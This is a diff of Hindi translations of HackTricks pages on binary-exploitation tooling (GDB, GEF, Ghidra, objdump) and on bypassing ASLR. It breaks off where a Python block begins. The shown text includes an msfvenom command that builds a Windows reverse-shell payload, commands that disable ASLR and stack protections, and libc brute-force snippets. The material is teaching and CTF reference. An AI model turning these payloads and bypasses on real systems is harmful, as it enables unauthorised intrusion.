Translated ['binary-exploitation/basic-binary-exploitation-methodology/t
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 92 KiB |
|
@ -49,7 +49,7 @@
|
|||
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
|
|
|
@ -10,7 +10,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -28,6 +28,8 @@ msfelfscan -j esi /opt/fusion/bin/level01
|
|||
```bash
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## GDB
|
||||
|
||||
### इंस्टॉल
|
||||
|
@ -88,7 +90,7 @@ x/i $eip # Instructions of the EIP
|
|||
```
|
||||
### [GEF](https://github.com/hugsy/gef)
|
||||
|
||||
आप इस [**GEF के इस fork**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) का वैकल्पिक उपयोग कर सकते हैं जिसमें और भी दिलचस्प निर्देश हैं।
|
||||
आप वैकल्पिक रूप से [**इस GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) का उपयोग कर सकते हैं जिसमें और भी दिलचस्प निर्देश शामिल हैं।
|
||||
```bash
|
||||
help memory # Get help on memory command
|
||||
canary # Search for canary value in memory
|
||||
|
@ -114,6 +116,9 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||
shellcode search x86 #Search shellcodes
|
||||
shellcode get 61 #Download shellcode number 61
|
||||
|
||||
#Dump memory to file
|
||||
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
|
||||
|
||||
#Another way to get the offset of to the RIP
|
||||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||
2- ef➤ i f
|
||||
|
@ -132,18 +137,18 @@ gef➤ pattern search 0x6261617762616176
|
|||
|
||||
#### GDB समान पते
|
||||
|
||||
जब आप GDB को डिबग कर रहे होंगे तो **उपयोग किए जाने वाले बाइनरी द्वारा थोड़ी भिन्न पते होंगे।** आप GDB को ऐसे ही पतों पर ले आ सकते हैं:
|
||||
जब आप GDB को डिबग कर रहे होंगे तो GDB के पते **थोड़े भिन्न होंगे जो बाइनरी चलाई जाती है के पतों से।** आप GDB को ऐसे ही पते बना सकते हैं:
|
||||
|
||||
* `unset env LINES`
|
||||
* `unset env COLUMNS`
|
||||
* `set env _=<path>` _बाइनरी के लिए पूर्ण पथ डालें_
|
||||
* उसी पूर्ण मार्ग का उपयोग करके बाइनरी का शोषण करें
|
||||
* GDB का उपयोग करते समय `PWD` और `OLDPWD` समान होना चाहिए
|
||||
* `set env _=<path>` _बाइनरी के पूर्ण पथ डालें_
|
||||
* उसी पूर्ण पथ का उपयोग करके बाइनरी का शोषण करें
|
||||
* GDB का उपयोग करते समय `PWD` और `OLDPWD` समान होना चाहिए जब आप GDB का उपयोग कर रहे हों और जब बाइनरी का शोषण कर रहे हों।
|
||||
|
||||
#### फ़ंक्शन कोल करने के लिए बैकट्रेस
|
||||
|
||||
जब आपके पास एक **स्थिर रूप से लिंक किया गया बाइनरी** होता है तो सभी फ़ंक्शन बाइनरी के होते हैं (और किसी बाहरी पुस्तकालय के नहीं)। इस मामले में **बाइनरी द्वारा अनुसरण किया जाने वाला प्रवाह पहचानना कठिन होगा जैसे कि उपयोगकर्ता से इनपुट मांगने के लिए**।\
|
||||
आप आसानी से इस प्रवाह को पहचान सकते हैं **gdb** के साथ बाइनरी को **चलाकर** जब तक आपसे इनपुट मांगा जाए। फिर, इसे **CTRL+C** के साथ रोकें और **`bt`** (**बैकट्रेस**) कमांड का उपयोग करके कॉल किए गए फ़ंक्शन देखें:
|
||||
जब आपके पास एक **स्थायी रूप से लिंक की गई बाइनरी** होती है तो सभी फ़ंक्शन उस बाइनरी के होते हैं (और किसी बाहरी पुस्तकालय के नहीं)। इस मामले में **बाइनरी द्वारा अनुसरण किया जाने वाला फ्लो निश्चित करना मुश्किल होगा**।\
|
||||
आप इस फ्लो को आसानी से पहचान सकते हैं **गेबी** के साथ **बाइनरी को चलाकर** जब तक आपसे इनपुट के लिए पूछा जाता है। फिर, इसे **CTRL+C** के साथ रोकें और **`bt`** (**बैकट्रेस**) कमांड का उपयोग करके कॉल किए गए फ़ंक्शन देखें:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
|
@ -154,14 +159,14 @@ gef➤ bt
|
|||
```
|
||||
### GDB सर्वर
|
||||
|
||||
`gdbserver --multi 0.0.0.0:23947` (IDA में आपको लिनक्स मशीन में executable के absolute path को भरना होगा और विंडोज मशीन में)
|
||||
`gdbserver --multi 0.0.0.0:23947` (IDA में आपको लिनक्स मशीन में एक्जीक्यूटेबल का पूर्ण पथ भरना होगा और विंडोज मशीन में)
|
||||
|
||||
## Ghidra
|
||||
|
||||
### स्टैक ऑफसेट खोजें
|
||||
|
||||
**Ghidra** बफर ओवरफ्लो के लिए **offset** खोजने में बहुत उपयोगी है इसके लिए **स्थानीय वेरिएबल्स के स्थान के बारे में जानकारी की वजह से।**\
|
||||
उदाहरण के लिए, नीचे दिए गए उदाहरण में, `local_bc` में एक बफर फ्लो इसका मतलब है कि आपको `0xbc` का एक ऑफसेट की आवश्यकता है। इसके अतिरिक्त, अगर `local_10` एक कैनरी कुकी है तो यह सूचित करता है कि इसे `local_bc` से ओवरराइट करने के लिए `0xac` का एक ऑफसेट है।\
|
||||
**Ghidra** बफर ओवरफ्लो के लिए **ऑफसेट** खोजने में बहुत उपयोगी है क्योंकि यह स्थानीय वेरिएबल्स के स्थान के बारे में जानकारी प्रदान करता है।\
|
||||
उदाहरण के लिए, नीचे दिए गए उदाहरण में, `local_bc` में एक बफर फ्लो दिखाता है कि आपको `0xbc` का ऑफसेट चाहिए। इसके अतिरिक्त, अगर `local_10` एक कैनरी कुकी है तो यह दिखाता है कि इसे `local_bc` से ओवरराइट करने के लिए `0xac` का ऑफसेट है।\
|
||||
_ध्यान रखें कि RIP को बचाया गया पहला 0x08 RBP से संबंधित है।_
|
||||
|
||||
![](<../../../.gitbook/assets/image (1058).png>)
|
||||
|
@ -174,29 +179,28 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
|||
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> सुरक्षा के साथ कंपाइल करें\
|
||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> सुरक्षा के साथ कंपाइल करें नहीं\
|
||||
**-o** --> आउटपुट\
|
||||
**-g** --> कोड सहेजें (जीडीबी इसे देख सकेगा)\
|
||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> लिनक्स में ASLR को निष्क्रिय करने के लिए
|
||||
|
||||
**शैलकोड को कंपाइल करने के लिए:**\
|
||||
**एक शेलकोड को कंपाइल करने के लिए:**\
|
||||
**nasm -f elf assembly.asm** --> ".o" लौटाएगा\
|
||||
**ld assembly.o -o shellcodeout** --> एक्जीक्यूटेबल
|
||||
|
||||
## Objdump
|
||||
|
||||
**-d** --> **एक्जीक्यूटेबल** खंडों को **डिसएसेंबल** करें (कंपाइल किए गए शैलकोड के ओपकोड देखें, ROP गैजेट्स खोजें, फ़ंक्शन पता लगाएं...)\
|
||||
**-d** --> **एक्जीक्यूटेबल** खंडों को **डिसएसेंबल** करें (कंपाइल शेलकोड के ओपकोड देखें, ROP गैजेट्स खोजें, फ़ंक्शन पता लगाएं...)\
|
||||
**-Mintel** --> **इंटेल** सिंटैक्स\
|
||||
**-t** --> **सिम्बल्स** तालिका\
|
||||
**-D** --> **सभी** को **डिसएसेंबल** करें (स्थायी चर का पता)\
|
||||
**-s -j .dtors** --> dtors खंड\
|
||||
**-s -j .got** --> got खंड\
|
||||
\-D -s -j .plt --> **plt** खंड **डिकंपाइल**\
|
||||
**-TR** --> **रीलोकेशन**\
|
||||
\-D -s -j .plt --> **plt** खंड **डिकॉम्पाइल**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> "puts" का पता बदलने के लिए\
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> स्थायी चर का पता (ये DATA खंड में संग्रहीत होते हैं)।
|
||||
|
||||
## कोर डंप्स
|
||||
## Core dumps
|
||||
|
||||
1. मेरे प्रोग्राम शुरू करने से पहले `ulimit -c unlimited` चलाएं
|
||||
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` चलाएं
|
||||
|
@ -209,7 +213,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
|||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" का ऑफसेट\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" का ऑफसेट
|
||||
|
||||
**strace executable** --> एक्जीक्यूटेबल द्वारा बुलाए गए फ़ंक्शन\
|
||||
**strace executable** --> एक्जीक्यूटेबल द्वारा बुलाई गई फ़ंक्शन\
|
||||
**rabin2 -i ejecutable -->** सभी फ़ंक्शनों का पता
|
||||
```bash
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
|
@ -219,7 +223,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
|||
|
||||
### दूरस्थ लिनक्स में डीबगिंग
|
||||
|
||||
IDA फ़ोल्डर के अंदर आप ऐसे बाइनरी फ़ाइलें पा सकते हैं जो लिनक्स के अंदर एक बाइनरी को डीबग करने के लिए उपयोग की जा सकती हैं। इसके लिए `linux_server` या `linux_server64` बाइनरी को लिनक्स सर्वर के अंदर ले जाएं और उसे उस फ़ोल्डर के अंदर चलाएं जो बाइनरी को समेटता है:
|
||||
IDA फ़ोल्डर के अंदर आप बाइनरी फ़ाइलें पा सकते हैं जो लिनक्स के अंदर एक बाइनरी को डीबग करने के लिए उपयोग की जा सकती हैं। इसके लिए `linux_server` या `linux_server64` बाइनरी को लिनक्स सर्वर के अंदर ले जाएं और उसे उस फ़ोल्डर के अंदर चलाएं जो बाइनरी को समेटता है:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
|
@ -236,7 +240,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,23 +6,23 @@
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
## मूल जानकारी
|
||||
|
||||
**Address Space Layout Randomization (ASLR)** एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में उपयोग किया जाता है ताकि सिस्टम और एप्लिकेशन प्रक्रियाओं द्वारा उपयोग किए जाने वाले मेमोरी पतों को **रैंडमाइज़** करें। इसके द्वारा, यह किसी हमलावर को विशिष्ट प्रक्रियाओं और डेटा के स्थान का पूर्वानुमान करना काफी कठिन बना देता है, जैसे स्टैक, हीप, और लाइब्रेरी, इस प्रकार के कुछ प्रकार के उत्पीड़न को कम करता है, विशेषकर बफर ओवरफ्लोज़।
|
||||
**Address Space Layout Randomization (ASLR)** एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में उपयोग की जाती है ताकि सिस्टम और एप्लिकेशन प्रक्रियाओं द्वारा उपयोग किए जाने वाले मेमोरी पतों को **रैंडमाइज़** करें। इसके द्वारा, यह किसी हमलावादी को विशेष प्रक्रियाओं और डेटा के स्थान का पूर्वानुमान करना काफी कठिन बना देता है, जैसे स्टैक, हीप, और लाइब्रेरी, इस प्रकार के कुछ प्रकार के उत्पीड़न को कम करता है, विशेषकर बफर ओवरफ्लोज़।
|
||||
|
||||
### **ASLR स्थिति की जाँच**
|
||||
|
||||
Linux सिस्टम पर ASLR स्थिति की जाँच करने के लिए, आप **`/proc/sys/kernel/randomize_va_space`** फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में स्टोर किया गया मान यह तय करता है कि कौन सा प्रकार का ASLR लागू हो रहा है:
|
||||
|
||||
* **0**: कोई रैंडमाइज़ेशन नहीं। सब कुछ स्थिर है।
|
||||
* **0**: कोई रैंडमाइज़ेशन नहीं। सब कुछ स्थैतिक है।
|
||||
* **1**: सतर्क रैंडमाइज़ेशन। साझा लाइब्रेरी, स्टैक, mmap(), VDSO पेज रैंडमाइज़ हैं।
|
||||
* **2**: पूर्ण रैंडमाइज़ेशन। सतर्क रैंडमाइज़ेशन द्वारा रैंडमाइज़ किए गए तत्वों के अतिरिक्त, `brk()` के माध्यम से प्रबंधित मेमोरी भी रैंडमाइज़ है।
|
||||
|
||||
|
@ -32,7 +32,7 @@ cat /proc/sys/kernel/randomize_va_space
|
|||
```
|
||||
### **ASLR को अक्षम करना**
|
||||
|
||||
ASLR को अक्षम करने के लिए, आप `/proc/sys/kernel/randomize_va_space` के मान को **0** पर सेट करते हैं। ASLR को अक्षम करना सामान्य रूप से परीक्षण या डीबगिंग स्थितियों के बाहर सुझाया नहीं जाता है। यहाँ दिया गया है कि आप इसे कैसे अक्षम कर सकते हैं:
|
||||
ASLR को अक्षम करने के लिए, आप `/proc/sys/kernel/randomize_va_space` के मान को **0** पर सेट करते हैं। ASLR को अक्षम करना सामान्यतः टेस्टिंग या डीबगिंग स्थितियों के बाहर सुझावित नहीं है। यहाँ दिया गया है कि आप इसे कैसे अक्षम कर सकते हैं:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
@ -41,9 +41,9 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
|||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
```
|
||||
### **ASLR सक्रिय करना**
|
||||
### **ASLR सक्षम करना**
|
||||
|
||||
ASLR को **सक्रिय** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` फ़ाइल में **2** का मान लिख सकते हैं। यह आम तौर पर रूट विशेषाधिकारों की आवश्यकता होती है। पूर्ण प्रायोजन को निम्नलिखित कमांड के साथ किया जा सकता है:
|
||||
ASLR को **सक्षम** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` फ़ाइल में मान **2** लिख सकते हैं। यह आम तौर पर रूट विशेषाधिकारों की आवश्यकता होती है। पूर्ण यादृच्छिकता को निम्नलिखित कमांड के साथ सक्षम किया जा सकता है:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
@ -59,7 +59,7 @@ kernel.randomize_va_space=0 # Disable ASLR
|
|||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
यह सुनिश्चित करेगा कि आपकी ASLR सेटिंग्स पुनरारंभों के बाद भी बरकरार रहें।
|
||||
यह सुनिश्चित करेगा कि आपकी ASLR सेटिंग्स पुनरारंभ होने पर भी बनी रहें।
|
||||
|
||||
## **बाईपास**
|
||||
|
||||
|
@ -67,21 +67,21 @@ sudo sysctl -p
|
|||
|
||||
PaX प्रक्रिया पता स्थान क्षेत्र को **3 समूहों** में विभाजित करता है:
|
||||
|
||||
* **कोड और डेटा** (सक्रिय और असक्रिय): `.text`, `.data`, और `.bss` —> `delta_exec` चर में **16 बिट** का अनियमितता। यह चर प्रत्येक प्रक्रिया के साथ यादृच्छिक रूप से प्रारंभिक पतों में जोड़ा जाता है।
|
||||
* `mmap()` द्वारा आवंटित **स्मृति** और **साझा पुस्तकालयें** —> **16 बिट**, जिसे `delta_mmap` कहा जाता है।
|
||||
* **स्टैक** —> **24 बिट**, `delta_stack` के रूप में। हालांकि, यह वास्तव में **11 बिट** का उपयोग करता है (10वें से 20वें बाइट समाविष्ट), **16 बाइट** के अनुरूप संरेखित किया गया है —> इससे **524,288 संभावित वास्तविक स्टैक पते** होते हैं।
|
||||
* **कोड और डेटा** (सक्रिय और असक्रिय): `.text`, `.data`, और `.bss` —> `delta_exec` चर में **16 बिट** का अनियमितता। इस चर को प्रत्येक प्रक्रिया के साथ यादृच्छिक रूप से प्रारंभ किया जाता है और प्रारंभिक पतों में जोड़ा जाता है।
|
||||
* `mmap()` द्वारा आवंटित **स्मृति** और **साझा पुस्तकालय** —> **16 बिट**, जिसे `delta_mmap` नामक किया गया है।
|
||||
* **स्टैक** —> **24 बिट**, `delta_stack` के रूप में संदर्भित। हालांकि, यह वास्तव में **11 बिट** का उपयोग करता है (10वें से 20वें बाइट समाविष्ट), **16 बाइट** के अनुरूप संरेखित किया गया है —> इससे **524,288 संभावित वास्तविक स्टैक पते** होते हैं।
|
||||
|
||||
पिछले डेटा 32-बिट सिस्टमों के लिए है और कम होने वाली अंतिम अनियमितता के कारण ASLR को बाईपास करना संभव होता है, जब तक उत्पीड़न सफलतापूर्वक पूरा न हो जाए।
|
||||
|
||||
#### ब्रूट-फोर्स विचार:
|
||||
|
||||
* यदि आपके पास एक **बड़ा पर्याप्त ओवरफ्लो है जिसमें शेलकोड से पहले एक बड़ा NOP स्लेड हो सकता है**, तो आप स्टैक में पतों को ब्रूट-फोर्स कर सकते हैं जब तक प्रवाह **NOP स्लेड के किसी हिस्से पर छलांग नहीं लेता**।
|
||||
* इसके लिए एक और विकल्प यदि ओवरफ्लो इतना बड़ा नहीं है और उत्पीड़न स्थानीय रूप से चलाया जा सकता है तो **पर्यावरण चर में NOP स्लेड और शेलकोड जोड़ना संभव है**।
|
||||
* यदि उत्पीड़न स्थानीय है, तो आप libc का आधार पता ब्रूट-फोर्स करने का प्रयास कर सकते हैं (32बिट सिस्टमों के लिए उपयोगी):
|
||||
* यदि आपके पास एक **बड़ा पर्याप्त ओवरफ्लो है जिसमें शेलकोड से पहले एक बड़ा NOP स्लेड हो सकता है**, तो आप स्टैक में पतों को ब्रूट-फोर्स कर सकते हैं जब तक फ्लो **NOP स्लेड के किसी हिस्से पर छलांग नहीं मारता**।
|
||||
* इसके लिए एक और विकल्प यदि ओवरफ्लो इतना बड़ा नहीं है और उत्पीड़न स्थानीय रूप से चलाया जा सकता है तो संभावना है कि **एनओपी स्लेड और शेलकोड को एक पर्यावरण चर में जोड़ा जा सकता है**।
|
||||
* यदि उत्पीड़न स्थानीय है, तो आप libc के आधार पते को ब्रूट-फोर्स करने का प्रयास कर सकते हैं (32बिट सिस्टमों के लिए उपयोगी):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* यदि आप एक रिमोट सर्वर पर हमला कर रहे हैं, तो आप **`libc` फ़ंक्शन `usleep`** का पता लगाने के लिए **ब्रूट-फ़ोर्स कर सकते हैं**, उदाहरण के लिए 10 को एर्ग्यूमेंट के रूप में पास करें। यदि किसी समय **सर्वर 10 सेकंड अतिरिक्त समय लेता है** तो आपने इस फ़ंक्शन का पता लगा लिया है।
|
||||
* अगर आप एक रिमोट सर्वर पर हमला कर रहे हैं, तो आप `libc` फ़ंक्शन `usleep` का पता लगाने के लिए **ब्रूट-फ़ोर्स कर सकते हैं**, उदाहरण के लिए 10 को एर्ग्यूमेंट के रूप में पास करें। अगर किसी समय सर्वर **10 सेकंड अतिरिक्त समय लेता है** तो आपने इस फ़ंक्शन का पता लगा लिया है।
|
||||
|
||||
{% hint style="success" %}
|
||||
64 बिट सिस्टम में एंट्रोपी अधिक होती है और यह संभव नहीं होना चाहिए।
|
||||
|
@ -89,8 +89,8 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|||
|
||||
### 64 बिट स्टैक ब्रूट-फ़ोर्सिंग
|
||||
|
||||
यह संभव है कि आप env variables के साथ स्टैक का बड़ा हिस्सा अधिक करें और फिर इसे उसका शोषण करने के लिए स्थानीय रूप से शतरंज/हजारों बार प्रयास करें।\
|
||||
निम्नलिखित कोड दिखाता है कि **स्टैक में केवल एक पता चुनना** संभव है और हर **कुछ सैकड़ों बार के उत्पादन** के बाद उस पते में **NOP निर्देश** होगा:
|
||||
यह संभव है कि आप env variables के साथ स्टैक का बड़ा हिस्सा अधिक करें और फिर इसे उसका शोषण करने के लिए स्थानीय रूप से शत्रुता करने की कोशिश करें।\
|
||||
निम्नलिखित कोड दिखाता है कि **स्टैक में एक पता का चयन करना** संभव है और हर **कुछ सैकड़ों बार के बाद** उस पते में **NOP इंस्ट्रक्शन** होगा:
|
||||
```c
|
||||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
#include <stdio.h>
|
||||
|
@ -158,26 +158,26 @@ pass
|
|||
|
||||
### स्थानीय सूचना (`/proc/[pid]/stat`)
|
||||
|
||||
**प्रक्रिया** का फ़ाइल **`/proc/[pid]/stat`** हमेशा सभी द्वारा पढ़ी जा सकती है और इसमें **रोचक जानकारी** शामिल है जैसे:
|
||||
प्रक्रिया का फ़ाइल **`/proc/[pid]/stat`** हमेशा सभी द्वारा पढ़ी जा सकती है और इसमें रोचक जानकारी शामिल है जैसे:
|
||||
|
||||
* **startcode** & **endcode**: **बाइनरी** के **TEXT** के साथ ऊपर और नीचे पते
|
||||
* **startstack**: **स्टैक** की शुरुआत का पता
|
||||
* **start\_data** & **end\_data**: **BSS** के स्थान के ऊपर और नीचे पते
|
||||
* **startcode** & **endcode**: ऊपर और नीचे पता है जिसमें **बाइनरी का TEXT** है
|
||||
* **startstack**: **stack** की शुरुआत का पता
|
||||
* **start\_data** & **end\_data**: ऊपर और नीचे पता है जहां **BSS** है
|
||||
* **kstkesp** & **kstkeip**: वर्तमान **ESP** और **EIP** पते
|
||||
* **arg\_start** & **arg\_end**: **cli arguments** के स्थान के ऊपर और नीचे पते
|
||||
* **env\_start** & **env\_end**: **एनवी वेरिएबल्स** के स्थान के ऊपर और नीचे पते
|
||||
* **arg\_start** & **arg\_end**: ऊपर और नीचे पता है जहां **cli arguments** हैं।
|
||||
* **env\_start** & **env\_end**: ऊपर और नीचे पता है जहां **env variables** हैं।
|
||||
|
||||
इसलिए, यदि हमलावर उसी कंप्यूटर में है जिसमें बाइनरी का उपयोग हो रहा है और यह बाइनरी कच्चे तर्क से अधिक भराई की अपेक्षा नहीं करता, बल्कि एक विभिन्न **इनपुट से जो इस फ़ाइल को पढ़ने के बाद बनाया जा सकता है**। एक हमलावर को **इस फ़ाइल से कुछ पते प्राप्त करने और उससे अभिशिक्ति के लिए ऑफसेट निर्मित करने की संभावना** है।
|
||||
इसलिए, यदि हमलावर उसी कंप्यूटर में है जिसमें बाइनरी है और यह बाइनरी कच्चे तर्क से अधिक अपेक्षित नहीं है, लेकिन एक विभिन्न **इनपुट से अधिक भराई जा सकती है जो इस फ़ाइल को पढ़ने के बाद बनाया जा सकता है**। एक हमलावर को **इस फ़ाइल से कुछ पते प्राप्त करने और उससे अभिशोषण के लिए ऑफसेट निर्मित करने की संभावना है**।
|
||||
|
||||
{% hint style="success" %}
|
||||
इस फ़ाइल के बारे में अधिक जानकारी के लिए [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) पर `/proc/pid/stat` खोजें
|
||||
इस फ़ाइल के बारे में अधिक जानकारी के लिए [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) पर `/proc/pid/stat` खोजें।
|
||||
{% endhint %}
|
||||
|
||||
### एक लीक होना
|
||||
|
||||
* **चुनौती एक लीक देना है**
|
||||
|
||||
यदि आपको एक लीक मिलता है (सरल CTF चुनौतियाँ), तो आप इससे ऑफसेट की गणना कर सकते हैं (उदाहरण के लिए मान लें कि आप जानते हैं कि आपके द्वारा उत्पादित सिस्टम में उपयोग की जाने वाली सटीक libc संस्करण)। यह उदाहरण उत्पाद [**यहाँ से उदाहरण से निकाला गया है**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (अधिक विवरण के लिए उस पृष्ठ की जांच करें):
|
||||
यदि आपको एक लीक मिलता है (सरल CTF चुनौतियाँ), तो आप इससे ऑफसेट की गणना कर सकते हैं (उदाहरण के लिए मान लें कि आप जानते हैं कि आप उस सिस्टम में उपयोग किए जाने वाले सटीक libc संस्करण को)। यह उदाहरण शोध यहाँ से निकाला गया है [**यहाँ से उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (अधिक विवरण के लिए उस पृष्ठ की जाँच करें):
|
||||
```python
|
